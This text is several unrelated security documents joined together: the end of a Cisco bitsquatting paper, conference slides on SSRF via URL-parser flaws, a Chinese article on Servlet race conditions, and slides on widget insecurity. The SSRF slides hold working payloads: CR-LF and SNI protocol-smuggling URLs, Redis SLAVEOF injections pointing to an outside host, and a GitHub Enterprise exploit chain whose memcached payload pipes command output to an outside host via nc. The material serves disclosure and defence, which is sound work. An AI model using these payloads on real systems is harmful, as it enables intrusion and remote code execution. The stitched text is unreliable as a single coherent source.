lowercase equivalents ‘a’ (01100001) through ‘z’ (01111010). However, bit-errors in lowercase ‘p’ (01110000) through lowercase ‘y’ (01111001) have bitsquats in the digit range zero (00110000) through nine (00111001). The uppercase versions do not possess these numeric bitsquats. Capital letters are also immune to several punctuation-based bitsquats. The capital letter ‘N’(01001110) cannot via a single bit error become a dot ‘.’ (00101110). Neither can a capital letter ‘O’ (01001111) flip one bit to become a forward slash (00101111). Similarly, the capital letter ‘C’ (01000011) cannot by the flip of one bit become a ‘#’ (00100011). © 2013 Cisco and/or its affiliates. All rights reserved. Page 17 of 20 Thus storing capital letter versions of the domain names inside HTML pages makes a good choice for avoiding domain delimiter, URL delimiter, as well as individual bitsquats involving lowercase letters changing to digits. Figure 17. A view of the ASCII table which demonstrates the binary representations of characters and punctuation. Image from wikipedia.org. © 2013 Cisco and/or its affiliates. All rights reserved. Page 18 of 20 Create a bitsquat RPZ Response Policy Zones (RPZs) have been a configuration option since BIND v9.8.1, but patches exist for earlier versions of BIND. An RPZ is a local zone file which allows the DNS resolver to respond to specific DNS requests by saying that the domain name does not exist (NXDOMAIN), or redirecting the user to a walled garden, or other possibilities. To mitigate the effects of single bit errors for users of a DNS resolver the resolver administrator can create a Response Policy Zone that protects against bitsquats of frequently resolved, or internal-only domain names. For example, the RPZ can be set up such that any requests made to the DNS resolver for bitsquat variants of these domains will get a NXDOMAIN response, silently “correcting” bit errors without any work on the part of the client experiencing the bit error. If a domain is unavailable to potential victims of a bitsquatting attack, then this removes much of the incentive for attackers to bitsquat a target domain. The downside to configuring your DNS server in this manner is the possibility of False Positives (FPs). For example, I may be looking to buy a jingle from a man named Ray Palla who runs raypal.com. This domain also happens to be a one bit variant of the popular domain name paypal.com. If the DNS request for raypal.com results in a NXDOMAIN response, none of my users will ever be able to contact Ray. This isn’t terribly fair to Ray. Careful consideration must be paid to the one bit variants blocked as a result of any local RPZ to prevent false positives. Figure 18. A legitimate site, raypal.com, which happens to be one bit different from paypal.com © 2013 Cisco and/or its affiliates. All rights reserved. Page 19 of 20 Additionally, although it has not yet been confirmed in-the-wild, it is also technically possible to bitsquat IP addresses which are stored in memory. Given the shortage of IPv4 address space many networks have turned to the RFC 1918 private networks in 10.0.0.0/8, 192.168.0.0/16, and 172.16.0.0/12. The one bit variants of these IPs must be receiving intranet traffic from all over the world. It would be difficult to find and subsequently control the exact one bit variant IP, but this task is not impossible either. All one bit variants of the most critical intranet address space can be calculated beforehand, and afterwards added to a firewall DROP list such that IP based bitsquats do not also result in misdirected traffic by bypassing the RPZ/DNS. Conclusion While the evidence to date that suggests that there hasn’t been a wide adoption of bitsquatting as a real-world attack vector that is being exploited, the fact that organizations belonging to the education, government, and military under restricted Top Level Domains can also be vulnerable to some bitsquatting attacks is alarming. The ease, and relative anonymity of which bitsquatting attacks can be conducted means that society collectively needs to take precautions to protect the critical domain name infrastructure that is used to provide essential services and information. © 2013 Cisco and/or its affiliates. All rights reserved. Page 20 of 20 References [1] Eric Fischer. ‘The Evolution of Character Codes, 1874-1968’. November 2002. http://www.transbay.net/~enf/ascii/ascii.pdf. Accessed April 2013. [2] American Standards Association. ‘American Standard Code for Information Interchange, ASA X3.4-1963’. ANSI. June 17, 1963. [3] Artem Dinaburg. ‘Bitsquatting: DNS Hijacking without exploitation’. Blackhat Technical Security Conference. August, 2011. [4] Bianca Schroeder, Eduardo Pinheiro, and Wolf-Dietrich Weber, ‘DRAM Errors in the Wild: A Large-Scale Field Study’. Proceedings of the 11th International Joint Conference on Measurement and Modeling of Computer Systems (SIGMETRICS). June 2009. [5] Dave Evans. ‘Thanks to IoE the next decade looks positively “nutty”’. Cisco Platform Blog. http://blogs.cisco.com/news/thanks-to-ioe-the-next-decade-looks-positively-nutty/. Accessed March 2013. [6] Artem Dinaburg. ‘Bitsquatting PCAP Analysis Part 3: Bit-error distribution’. Artem Dinaburg's Blog. http://blog.dinaburg.org/2012/11/bitsquatting-pcap-analysis-part-3-bit.html. Accessed December 2012. [7] ICANN Wiki. ‘CcTLD’. http://icannwiki.com/index.php/ccTLD. Accessed March 2013. [8] No-WWW. ‘www. Is deprecated.’. http://no-www.org/. Accessed March 2013. Printed in USA TRAC-R-20130802-01 08/13
pdf
A New Era of SSRF - Exploiting URL Parser in Trending Programming Languages! Orange Tsai Taiwan No.1 About Orange Tsai The most professional red team in Taiwan About Orange Tsai The largest hacker conference in Taiwan founded by chrO.ot About Orange Tsai Speaker - Speaker at several security conferences HITCON, WooYun, AVTokyo CTFer - CTFs we won champions / in finalists (as team HITCON) DEFCON, Codegate, Boston Key Party, HITB, Seccon, 0CTF, WCTF Bounty Hunter - Vendors I have found Remote Code Execution Facebook, GitHub, Uber, Apple, Yahoo, Imgur About Orange Tsai Agenda Introduction Make SSRF great again Issues that lead to SSRF-Bypass Issues that lead to protocol smuggling Case studies and Demos Mitigations What is SSRF? Server Side Request Forgery Bypass Firewall, Touch Intranet Compromise Internal services Struts2 Redis Elastic Protocol Smuggling in SSRF Make SSRF more powerful Protocols that are suitable to smuggle HTTP based protocol Elastic, CouchDB, Mongodb, Docker Text-based protocol FTP, SMTP, Redis, Memcached Quick Fun Example http://1.1.1.1 &@2.2.2.2# @3.3.3.3/ http://1.1.1.1 &@2.2.2.2# @3.3.3.3/ urllib2 httplib requests urllib Quick Fun Example Python is so Hard Quick Fun Example CR-LF Injection on HTTP protocol Smuggling SMTP protocol over HTTP protocol http://127.0.0.1:25/%0D%0AHELO orange.tw%0D%0AMAIL FROM… >> GET / << 421 4.7.0 ubuntu Rejecting open proxy localhost [127.0.0.1] >> HELO orange.tw Connection closed SMTP Hates HTTP Protocol It Seems Unexploitable Gopher Is Good What If There Is No Gopher Support? HTTPS What Won't Be Encrypted in a SSL Handshake? Quick Fun Example https://127.0.0.1□%0D%0AHELO□orange.tw%0D%0AMAIL□FROM…:25/ $ tcpdump -i lo -qw - tcp port 25 | xxd 000001b0: 009c 0035 002f c030 c02c 003d 006a 0038 ...5./.0.,.=.j.8 000001c0: 0032 00ff 0100 0092 0000 0030 002e 0000 .2.........0.... 000001d0: 2b31 3237 2e30 2e30 2e31 200d 0a48 454c +127.0.0.1 ..HEL 000001e0: 4f20 6f72 616e 6765 2e74 770d 0a4d 4149 O orange. tw..MAI 000001f0: 4c20 4652 4f4d 2e2e 2e0d 0a11 000b 0004 L FROM.......... 00000200: 0300 0102 000a 001c 001a 0017 0019 001c ................ CR-LF Injection on HTTPS protocol Exploit the Unexploitable - Smuggling SMTP over TLS SNI Quick Fun Example CR-LF Injection on HTTPS protocol Exploit the Unexploitable - Smuggling SMTP over TLS SNI https://127.0.0.1□%0D%0AHELO□orange.tw%0D%0AMAIL□FROM…:25/ $ tcpdump -i lo -qw - tcp port 25 | xxd 000001b0: 009c 0035 002f c030 c02c 003d 006a 0038 ...5./.0.,.=.j.8 000001c0: 0032 00ff 0100 0092 0000 0030 002e 0000 .2.........0.... 000001d0: 2b31 3237 2e30 2e30 2e31 200d 0a48 454c +127.0.0.1 ..HEL 000001e0: 4f20 6f72 616e 6765 2e74 770d 0a4d 4149 O orange.tw..MAI 000001f0: 4c20 4652 4f4d 2e2e 2e0d 0a11 000b 0004 L FROM.......... 00000200: 0300 0102 000a 001c 001a 0017 0019 001c ................ Quick Fun Example CR-LF Injection on HTTPS protocol Exploit the Unexploitable - Smuggling SMTP over TLS SNI https://127.0.0.1□%0D%0AHELO orange.tw%0D%0AMAIL FROM…:25/ $ tcpdump -i lo -qw - tcp port 25 | xxd 000001b0: 009c 0035 002f c030 c02c 003d 006a 0038 ...5./.0.,.=.j.8 000001c0: 0032 00ff 0100 0092 0000 0030 002e 0000 .2.........0.... 000001d0: 2b31 3237 2e30 2e30 2e31 200d 0a48 454c +127.0.0.1 ..HEL 000001e0: 4f20 6f72 616e 6765 2e74 770d 0a4d 4149 O orange.tw..MAI 000001f0: 4c20 4652 4f4d 2e2e 2e0d 0a11 000b 0004 L FROM.......... 00000200: 0300 0102 000a 001c 001a 0017 0019 001c ................ Quick Fun Example CR-LF Injection on HTTPS protocol Exploit the Unexploitable - Smuggling SMTP over TLS SNI https://127.0.0.1□%0D%0AHELO orange.tw%0D%0AMAIL FROM…:25/ $ tcpdump -i lo -qw - tcp port 25 >> ...5./.0.,.=.j.8.2.........0...+127.0.0.1 << 500 5.5.1 Command unrecognized: ...5./.0.,.=.j.8.2..0.+127.0.0.1 >> HELO orange.tw << 250 ubuntu Hello localhost [127.0.0.1], please meet you >> MAIL FROM: <[email protected]> << 250 2.1.0 <[email protected]>... Sender ok Make SSRF Great Again URL Parsing Issues It's all about the inconsistency between URL parser and requester Why validating a URL is hard? 1. Specification in RFC2396, RFC3986 but just SPEC 2. WHATWG defined a contemporary implementation based on RFC but different languages still have their own implementations URL Components(RFC 3986) scheme authority path query fragment foo://example.com:8042/over/there?name=bar#nose URL Components(RFC 3986) foo://example.com:8042/over/there?name=bar#nose (We only care about HTTP HTTPS) (It's complicated) (I don't care) (I don't care) scheme authority (It's complicated) path fragment query Big Picture Libraries/Vulns CR-LF Injection URL Parsing Path Host SNI Port Injection Host Injection Path Injection Python httplib 💀 💀 💀 Python urllib 💀 💀 💀 Python urllib2 💀 💀 Ruby Net::HTTP 💀 💀 💀 Java net.URL 💀 💀 Perl LWP 💀 💀 NodeJS http 💀 💀 PHP http_wrapper 💀 💀 Wget 💀 💀 cURL 💀 💀 Consider the following PHP code $url = 'http://' . $_GET[url]; $parsed = parse_url($url); if ( $parsed[port] == 80 && $parsed[host] == 'google.com') { readfile($url); } else { die('You Shall Not Pass'); } Abusing URL Parsers http://127.0.0.1:11211:80/ Abusing URL Parsers http://127.0.0.1:11211:80/ PHP readfile Perl LWP PHP parse_url Perl URI Abusing URL Parsers RFC3986 authority = [ userinfo "@" ] host [ ":" port ] port = *DIGIT host = IP-literal / IPv4address / reg-name reg-name = *( unreserved / pct-encoded / sub-delims ) unreserved = ALPHA / DIGIT / "-" / "." / "_" / "~" sub-delims = "!" / "$" / "&" / "'" / "(" / ")" / "*" / "+" / "," / ";" / "=" Abusing URL Parsers http://google.com#@evil.com/ Abusing URL Parsers http://google.com#@evil.com/ PHP parse_url PHP readfile Abusing URL Parsers Several programing languages suffered from this issue cURL, PHP, Python RFC3968 section 3.2 The authority component is preceded by a double slash ("//") and is terminated by the next slash ("/"), question mark ("?"), or number sign ("#") character, or by the end of the URI Abusing URL Parsers How About cURL? http://[email protected]:[email protected]/ Abusing URL Parsers http://[email protected]:[email protected]/ cURL libcurl NodeJS URL Perl URI Go net/url PHP parse_url Ruby addressable Abusing URL Parsers Abusing URL Parsers cURL / libcurl PHP parse_url 💀 Perl URI 💀 Ruby uri Ruby addressable 💀 NodeJS url 💀 Java net.URL Python urlparse Go net/url 💀 Report the bug to cURL team and get a patch quickly Bypass the patch with a space Abusing URL Parsers http://[email protected] @google.com/ Report Again But… "curl doesn't verify that the URL is 100% syntactically correct. It is instead documented to work with URLs and sort of assumes that you pass it correct input" Won't Fix But previous patch still applied on cURL 7.54.0 Consider the following NodeJS code NodeJS Unicode Failure var base = "http://orange.tw/sandbox/"; var path = req.query.path; if (path.indexOf("..") == -1) { http.get(base + path, callback); } NodeJS Unicode Failure http://orange.tw/sandbox/NN/passwd NodeJS Unicode Failure http://orange.tw/sandbox/\xFF\x2E\xFF\x2E/passwd NodeJS Unicode Failure http://orange.tw/sandbox/\xFF\x2E\xFF\x2E/passwd NodeJS Unicode Failure http://orange.tw/sandbox/../passwd / is new ../ (in NodeJS HTTP) (U+FF2E) Full width Latin capital letter N What the ____ NodeJS Unicode Failure HTTP module prevents requests from CR-LF Injection Encode the New-lines as URL encoding http://127.0.0.1:6379/\r\nSLAVEOF orange.tw 6379\r\n $ nc -vvlp 6379 >> GET /%0D%0ASLAVEOF%20orange.tw%206379%0D%0A HTTP/1.1 >> Host: 127.0.0.1:6379 >> Connection: close NodeJS Unicode Failure HTTP module prevents requests from CR-LF Injection Break the protections by Unicode U+FF0D U+FF0A http://127.0.0.1:6379/-*SLAVEOF@orange.tw@6379-* $ nc -vvlp 6379 >> GET / >> SLAVEOF orange.tw 6379 >> HTTP/1.1 >> Host: 127.0.0.1:6379 >> Connection: close GLibc NSS Features In Glibc source code file resolv/ns_name.c#ns_name_pton() /*% * Convert an ascii string into an encoded domain name as per RFC1035. */ int ns_name_pton(const char *src, u_char *dst, size_t dstsiz) GLibc NSS Features RFC1035 - Decimal support in gethostbyname() void main(int argc, char **argv) { char *host = "or\\097nge.tw"; struct in_addr *addr = gethostbyname(host)->h_addr; printf("%s\n", inet_ntoa(*addr)); } …50.116.8.239 GLibc NSS Features RFC1035 - Decimal support in gethostbyname() >>> import socket >>> host = '\\o\\r\\a\\n\\g\\e.t\\w' >>> print host \o\r\a\n\g\e.t\w >>> socket.gethostbyname(host) '50.116.8.239' GLibc NSS Features void main(int argc, char **argv) { struct addrinfo *res; getaddrinfo("127.0.0.1 foo", NULL, NULL, &res); struct sockaddr_in *ipv4 = (struct sockaddr_in *)res->ai_addr; printf("%s\n", inet_ntoa(ipv4->sin_addr)); } …127.0.0.1 Linux getaddrinfo() strip trailing rubbish followed by whitespaces GLibc NSS Features Linux getaddrinfo() strip trailing rubbish followed by whitespaces Lots of implementations relied on getaddrinfo() >>> import socket >>> socket.gethostbyname("127.0.0.1\r\nfoo") '127.0.0.1' GLibc NSS Features Exploit Glibc NSS features on URL Parsing http://127.0.0.1\tfoo.google.com http://127.0.0.1%09foo.google.com http://127.0.0.1%2509foo.google.com GLibc NSS Features Exploit Glibc NSS features on URL Parsing Why this works? Some library implementations decode the URL TWICE… http://127.0.0.1%2509foo.google.com Exploit Glibc NSS features on Protocol Smuggling HTTP protocol 1.1 required a host header $ curl -vvv http://I-am-a-very-very-weird-domain.com >> GET / HTTP/1.1 >> Host: I-am-a-very-very-weird-domain.com >> User-Agent: curl/7.53.1 >> Accept: */* GLibc NSS Features GLibc NSS Features Exploit Glibc NSS features on Protocol Smuggling HTTP protocol 1.1 required a host header http://127.0.0.1\r\nSLAVEOF orange.tw 6379\r\n:6379/ $ nc -vvlp 6379 >> GET / HTTP/1.1 >> Host: 127.0.0.1 >> SLAVEOF orange.tw 6379 >> :6379 >> Connection: close GLibc NSS Features https://127.0.0.1\r\nSET foo 0 60 5\r\n:443/ $ nc -vvlp 443 >> ..=5</.Aih9876.'. #...$...?...).%..g@?>3210...EDCB.. >> .....5'%"127.0.0.1 >> SET foo 0 60 5 Exploit Glibc NSS features on Protocol Smuggling SNI Injection - Embed hostname in SSL Client Hello Simply replace HTTP with HTTPS GLibc NSS Features Break the Patch of Python CVE-2016-5699 CR-LF Injection in HTTPConnection.putheader() Space followed by CR-LF? _is_illegal_header_value = \ re.compile(rb'\n(?![ \t])|\r(?![ \t\n])').search … if _is_illegal_header_value(values[i]): raise ValueError('Invalid header value %r' % (values[i],)) Break the Patch of Python CVE-2016-5699 CR-LF Injection in HTTPConnection.putheader() Space followed by CR-LF? Bypass with a leading space >>> import urllib >>> url = 'http://0\r\n SLAVEOF orange.tw 6379\r\n :80' >>> urllib.urlopen(url) GLibc NSS Features Break the Patch of Python CVE-2016-5699 Exploit with a leading space Thanks to Redis and Memcached GLibc NSS Features http://0\r\n SLAVEOF orange.tw 6379\r\n :6379/ >> GET / HTTP/1.0 << -ERR wrong number of arguments for 'get' command >> Host: 0 << -ERR unknown command 'Host:' >> SLAVEOF orange.tw 6379 << +OK Already connected to specified master Abusing IDNA Standard The problem relied on URL parser and URL requester use different IDNA standard IDNA2003 UTS46 IDNA2008 ⓖⓞⓞⓖⓛⓔ.com google.com google.com Invalid g\u200Doogle.com google.com google.com xn--google-pf0c.com baß.de bass.de bass.de xn--ba-hia.de Abusing IDNA Standard >> "ß".toLowerCase() "ß" >> "ß".toUpperCase() "SS" >> ["ss", "SS"].indexOf("ß") false >> location.href = "http://wordpreß.com" The problem relied on URL parser and URL requester use different IDNA standard Cat Studies Abusing URL Parsers - Case Study WordPress 1. Paid lots of attentions on SSRF protections 2. We found 3 distinct ways to bypass the protections 3. Bugs have been reported since Feb. 25, 2017 but still unpatched 4. For the Responsible Disclosure Process, I will use MyBB as following case study Abusing URL Parsers - Case Study The main concept is finding different behaviors among URL parser, DNS checker and URL requester URL parser DNS checker URL requester WordPress parse_url() gethostbyname() *cURL vBulletin parse_url() None *cURL MyBB parse_url() gethostbynamel() *cURL * First priority Abusing URL Parsers - Case Study SSRF-Bypass tech #1 Time-of-check to Time-of-use problem 1 $url_components = @parse_url($url); 2 if( 3 !$url_components || 4 empty($url_components['host']) || 5 (!empty($url_components['scheme']) && !in_array($url_components['scheme'], array('http', 'https'))) || 6 (!empty($url_components['port']) && !in_array($url_components['port'], array(80, 8080, 443))) 7 ) { return false; } 8 9 $addresses = gethostbynamel($url_components['host']); 10 if($addresses) { 11 // check addresses not in disallowed_remote_addresses 12 } 13 14 $ch = curl_init(); 15 curl_setopt($ch, CURLOPT_URL, $url); 16 curl_exec($ch); Abusing URL Parsers - Case Study 1. gethostbyname() and get 1.2.3.4 2. Check 1.2.3.4 not in blacklist 3. Fetch URL by curl_init() and cURL query DNS again! 4. 127.0.0.1 fetched, SSRF! Q: foo.orange.tw A: 1.2.3.4 Q: foo.orange.tw A: 127.0.0.1 http://foo.orange.tw/ Hacker MyBB DNS 1 2 4 3 Abusing URL Parsers - Case Study SSRF-Bypass tech #2 The inconsistency between DNS checker and URL requester There is no IDNA converter in gethostbynamel(), but cURL has 1 $url = 'http://ß.orange.tw/'; // 127.0.0.1 2 3 $host = parse_url($url)[host]; 4 $addresses = gethostbynamel($host); // bool(false) 5 if ($address) { 6 // check if address in white-list 7 } 8 9 $ch = curl_init(); 10 curl_setopt($ch, CURLOPT_URL, $url); 11 curl_exec($ch); Abusing URL Parsers - Case Study SSRF-Bypass tech #3 The inconsistency between URL parser and URL requester Fixed in PHP 7.0.13 …127.0.0.1:11211 fetched $url = 'http://127.0.0.1:11211#@google.com:80/'; $parsed = parse_url($url); var_dump($parsed[host]); // string(10) "google.com" var_dump($parsed[port]); // int(80) curl($url); Abusing URL Parsers - Case Study SSRF-Bypass tech #3 The inconsistency between URL parser and URL requester Fixed in cURL 7.54 (The version of libcurl in Ubuntu 17.04 is still 7.52.1) $url = 'http://[email protected]:[email protected]:80/'; $parsed = parse_url($url); var_dump($parsed[host]); // string(10) "google.com" var_dump($parsed[port]); // int(80) curl($url); …127.0.0.1:11211 fetched Abusing URL Parsers - Case Study SSRF-Bypass tech #3 The inconsistency between URL parser and URL requester cURL won't fix :) $url = 'http://[email protected] @google.com:11211/'; $parsed = parse_url($url); var_dump($parsed[host]); // string(10) "google.com" var_dump($parsed[port]); // int(11211) curl($url); …127.0.0.1:11211 fetched Protocol Smuggling - Case Study GitHub Enterprise Standalone version of GitHub Written in Ruby on Rails and code have been obfuscated Protocol Smuggling - Case Study About Remote Code Execution on GitHub Enterprise Best report in GitHub 3 rd Bug Bounty Anniversary Promotion! Chaining 4 vulnerabilities into RCE Protocol Smuggling - Case Study First bug - SSRF-Bypass on Webhooks What is Webhooks? Protocol Smuggling - Case Study First bug - SSRF-Bypass on Webhooks Fetching URL by gem faraday Blacklisting Host by gem faraday-restrict-ip-addresses Blacklist localhost, 127.0.0.1… ETC Simply bypassed with a zero http://0/ Protocol Smuggling - Case Study First bug - SSRF-Bypass on Webhooks There are several limitations in this SSRF Not allowed 302 redirection Not allowed scheme out of HTTP and HTTPS No CR-LF Injection in faraday Only POST method Protocol Smuggling - Case Study Second bug - SSRF in internal Graphite service GitHub Enterprise uses Graphite to draw charts Graphite is bound on 127.0.0.1:8000 url = request.GET['url'] proto, server, path, query, frag = urlsplit(url) if query: path += '?' + query conn = HTTPConnection(server) conn.request('GET',path) resp = conn.getresponse() SSRF Execution Chain : ( Protocol Smuggling - Case Study Third bug - CR-LF Injection in Graphite Graphite is written in Python The implementation of the second SSRF is httplib.HTTPConnection As I mentioned before, httplib suffers from CR-LF Injection We can smuggle other protocols with URL http://0:8000/composer/send_email [email protected] &url=http://127.0.0.1:6379/%0D%0ASET… Protocol Smuggling - Case Study Fourth bug - Unsafe Marshal in Memcached gem GitHub Enterprise uses Memcached gem as the cache client All Ruby objects stored in cache will be Marshal-ed Protocol Smuggling - Case Study http://0:8000/composer/send_email [email protected] &url=http://127.0.0.1:11211/%0D%0Aset%20githubproductionsearch/quer ies/code_query%3A857be82362ba02525cef496458ffb09cf30f6256%3Av3%3Aco unt%200%2060%20150%0D%0A%04%08o%3A%40ActiveSupport%3A%3ADeprecation %3A%3ADeprecatedInstanceVariableProxy%07%3A%0E%40instanceo%3A%08ERB %07%3A%09%40srcI%22%1E%60id%20%7C%20nc%20orange.tw%2012345%60%06%3A %06ET%3A%0C%40linenoi%00%3A%0C%40method%3A%0Bresult%0D%0A%0D%0A First SSRF Second SSRF Memcached protocol Marshal data Protocol Smuggling - Case Study http://0:8000/composer/send_email [email protected] &url=http://127.0.0.1:11211/%0D%0Aset%20githubproductionsearch/quer ies/code_query%3A857be82362ba02525cef496458ffb09cf30f6256%3Av3%3Aco unt%200%2060%20150%0D%0A%04%08o%3A%40ActiveSupport%3A%3ADeprecation %3A%3ADeprecatedInstanceVariableProxy%07%3A%0E%40instanceo%3A%08ERB %07%3A%09%40srcI%22%1E%60id%20%7C%20nc%20orange.tw%2012345%60%06%3A %06ET%3A%0C%40linenoi%00%3A%0C%40method%3A%0Bresult%0D%0A%0D%0A First SSRF Second SSRF Memcached protocol Marshal data Protocol Smuggling - Case Study http://0:8000/composer/send_email [email protected] &url=http://127.0.0.1:11211/%0D%0Aset%20githubproductionsearch/quer ies/code_query%3A857be82362ba02525cef496458ffb09cf30f6256%3Av3%3Aco unt%200%2060%20150%0D%0A%04%08o%3A%40ActiveSupport%3A%3ADeprecation %3A%3ADeprecatedInstanceVariableProxy%07%3A%0E%40instanceo%3A%08ERB %07%3A%09%40srcI%22%1E%60id%20%7C%20nc%20orange.tw%2012345%60%06%3A %06ET%3A%0C%40linenoi%00%3A%0C%40method%3A%0Bresult%0D%0A%0D%0A First SSRF Second SSRF Memcached protocol Marshal data $12,500 Demo GitHub Enterprise < 2.8.7 Remote Code Execution https://youtu.be/GoO7_lCOfic Mitigations Application layer Use the only IP and hostname, do not reuse the input URL Network layer Using Firewall or NetWork Policy to block Intranet traffics Projects SafeCurl by @fin1te Advocate by @JordanMilne Black Hat Sound Bytes New Attack Surface on SSRF-Bypass URL Parsing Issues Abusing IDNA Standard New Attack Vector on Protocol Smuggling Linux Glibc NSS Features NodeJS Unicode Failure Case Studies Further works URL parser issues in OAuth URL parser issues in modern browsers URL parser issues in Proxy server More... Acknowledgements 1. Invalid URL parsing with '#' by @bagder 2. URL Interop by @bagder 3. Shibuya.XSS #8 by @mala 4. SSRF Bible by @Wallarm 5. Special Thanks Allen Own Birdman Chiu Henry Huang Cat Acknowledgements Twitter @harapeko_lady https://twitter.com/harapeko_lady/status/743463485548355584 Working Cat https://tuswallpapersgratis.com/gato-trabajando/ Cat in Carpet https://carpet.vidalondon.net/cat-in-carpet/ Thanks [email protected] @orange_8361
pdf
Servlet的线程安全问题 引⼊ ⾸先看看这样的代码,有什么问题 这⾥既要求cmd不能包含 Calculator 又必须要包含 Calculator ,能做到吗,当然是可以 的 Servlet的多线程机制 Servlet实际上是⼀个单件,当我们第⼀次请求某个Servlet时,Servlet容器将会根据web.xml配 置⽂件或者是注解实例化这个Servlet类,之后如果又有新的客户端请求该Servlet时,则⼀般不 会再实例化该Servlet类,这说明了什么呢?简单来说,当多个⽤户⼀起访问时,得到的其实是 同⼀个Servlet实例,这样的话,他们对实例的成员变量的修改其实会影响到别⼈,所以在开发 的时候如果没有注意这个问题往往会有⼀些额安全问题,⽽往往Servlet的线程安全问题主要是 由于实例变量使⽤不当⽽引起 因此我们再看上⾯的代码,很明显我们看到了这个 status 状态变量是实例变量,当然这⾥ 为了突出并发的效果,这⾥加了⼀个延时,这⾥简简单单⽤python实现竞争,也不必上多线程 了简单点 如何修复 1.实现 SingleThreadModel 接⼜ url = "http://127.0.0.1:8080/?cmd=open -na Calculator" while 1: r = requests.get(url) if "Cal" in r.text: print(r.text) url = "http://127.0.0.1:8080/?cmd=ls" while 1: r = requests.get(url) 该接⼜指定了系统如何处理对同⼀个Servlet的调⽤。如果⼀个Servlet被这个接⼜指定,那么 在这个Servlet中的service⽅法将不会有两个线程被同时执⾏,当然也就不存在线程安全的问 题。这种⽅法只要继承这个接⼜就⾏了,因此将我们上⾯的代码改为 这样你觉得就完全安全了吗??答案也不是,如果我们将上⾯的对状态的定义加上static呢 lol,还是可以成功,原因是SingleThreadModel不会解决所有的线程安全隐患。会话属性和静 态变量仍然可以被多线程的多请求同时访问 还有⼀点很重要该接⼜在Servlet API 2.4中将不推荐使⽤。 2.避免使⽤成员变量 既然问题出⾃成员变量,那么我们就尽量避免去使⽤它 将上⾯的代码改为 public class TestServlet extends HttpServlet implements SingleThreadModel public static boolean status; public class TestServlet extends HttpServlet{ // public boolean status; @Override protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException { 3.同步对共享数据的操作 使⽤synchronized 关键字能保证⼀次只有⼀个线程可以访问被保护的区段,因此可以将代码写 为 boolean status = true; String cmd = req.getParameter("cmd"); if (cmd.contains("Calculator")) { status = false; try { Thread.sleep(1000); }catch (Exception e){ } } if (!status) { return; } if (cmd.contains("Calculator")){ resp.getWriter().write(cmd); } } } public class TestServlet extends HttpServlet{ public boolean status; @Override protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException { String cmd = req.getParameter("cmd"); boolean status; synchronized(this) { status = true; if (cmd.contains("Calculator")) { 思考与⼩结 但是如果利⽤上⾯三种⽅式去修复,这样就完全没问题了吗?并不是 ⽐如实现SingleThreadModel以及在程序中使⽤同步来保护要使⽤的共享的数据,在实际业务 当中这也会使得我们系统的性能⼤⼤下降,这也是我们不太希望看到的,前者为每个新的请 求创建⼀个单独的Servlet实例,这将引起⼤量的系统开销,⽽后者被同步的代码块在同⼀时刻 也只能有⼀个线程执⾏它,这也会导致在⾼并发的情况下,同时处理请求的吞吐量显著的降 低 因此,在Serlet中避免使⽤实例变量或许是更好的选择,但如果⽆法避免,但如果⽆法避免, 也应该尽量做到去同步可⽤性最⼩的代码路径 参考⽂章 https://www.cnblogs.com/chanshuyi/p/5052426.html https://zhuanlan.zhihu.com/p/93708538 https://www.jianshu.com/p/06260e0667a9 status = false; try { Thread.sleep(5000); } catch (Exception e) { } } } if (!status) { return; } if (cmd.contains("Calculator")){ resp.getWriter().write(cmd); } } }
pdf
August, 2007 ©2007 Finjan Software Ltd. All rights reserved. The Inherent Insecurity of Widgets and Gadgets Aviv Raff Iftach Ian Amit Who are we? • Aviv Raff • Security researcher at Finjan’s MCRC • Iftach Ian Amit • Director of security research at Finjan Introduction - Widgets? • What is a widget? • Widgets are small applications • Provide visual information • Provide access to a frequently used functions • Hosted in an environment called a “Widget Engine” Introduction - Types of widgets • Website widgets • 3rd party application widgets • OS integrated widgets General Issues - Malicious Widgets • Widgets are applications • Applications can include malicious code • Hence, widgets can be malicious General Issues - Vulnerabilities • Widgets are small applications • Often considered too simple to represent a security threat • Widgets are developed without security in mind • Hence, widgets probably have security vulnerabilities General Issues - Attack vectors • Downloadable malicious widgets • Email attachments • Vulnerable widgets • Command injection • Man in the middle attacks • Browser vulnerabilities • Vulnerable websites • XSS • CSRF General Issues - Impact • Session/Account hijacking • Remote denial-of-service • Information leakage • Personal • Corporate • Remote code execution • Exploiting browser vulnerabilities • Download and execute Web widgets - In the Wild • Personalized Portals • iGoogle • Microsoft Live • MyYahoo • Blog systems • WordPress • TypePad • Social networks • MySpace Web widgets - iGoogle • Personalized Portal • Requires a Google Account • Based on HTML and javascript • JS API for widget developers • Mobile support Web widgets - iGoogle - Malicious Widget • Demo Web widgets – Vulnerable Widget • Demo Widget Engines - 3rd party applications • Yahoo widgets (Konfabulator) • Google Desktop • DesktopX • Opera browser Widget Engines - Yahoo Widgets • Previously known as Konfabulator • Recently released version 4.0 • Based on HTML like Markup Language and javascript • Some of the widgets require Yahoo account • Multiplatform API Widget Engines - Yahoo Malicious Widget • Demo Widget Engines - Yahoo Vulnerable Widget • Demo OS Widgets - Out-of-The-Box Engines • Apple OSX • Dashboard • Windows Vista • Sidebar • Linux • KDE / GNOME OS Widgets - Vista Sidebar • Installed by default on all Windows Vista editions • Allows installation of external widgets • Uses Internet Explorer 7.0 for rendering • DOES NOT utilize IE7 Protected Mode! • JS API for widget developers OS Widgets - Vista Sidebar Malicious Widget • Demo OS Widgets - Vista Sidebar Vulnerable Widget • Demo Widgets on Mobile Devices • iGoogle and Live.com provide mobile interface • Different widgets display from the PC version • Only some of the widgets are allowed to be added • Attack vectors: • Session/Account hijacking • Exploit mobile browsers vulnerabilities Widgets and Browser Extensions • Actually not a lot different • Browser integration vs. OS/Engine/Site integration • Firefox browser extensions • Run in elevated privileges (Chrome) • Firebug • Internet Explorer ActiveX • BHO • OS ActiveX Solutions / Recommendations • Digital Signing for Widgets • Trust no one • Do not install unofficial/unknown widgets • If you don’t use, block it! • Block .widget and .gadget files • Use Widget 1.0 implemented solutions Solutions / Recommendations - Widgets 1.0 • W3C standard for widgets development • Last draft version from November 2006 • http://www.w3.org/TR/widgets/ • Object model based on Apple’s Dashboard • Implemented in Opera browser widgets • Strict security model: • No access to user’s file system • Explicit declarations of protocol usage • Explicit declarations of port usage • Intranet IP range restrictions Questions
pdf
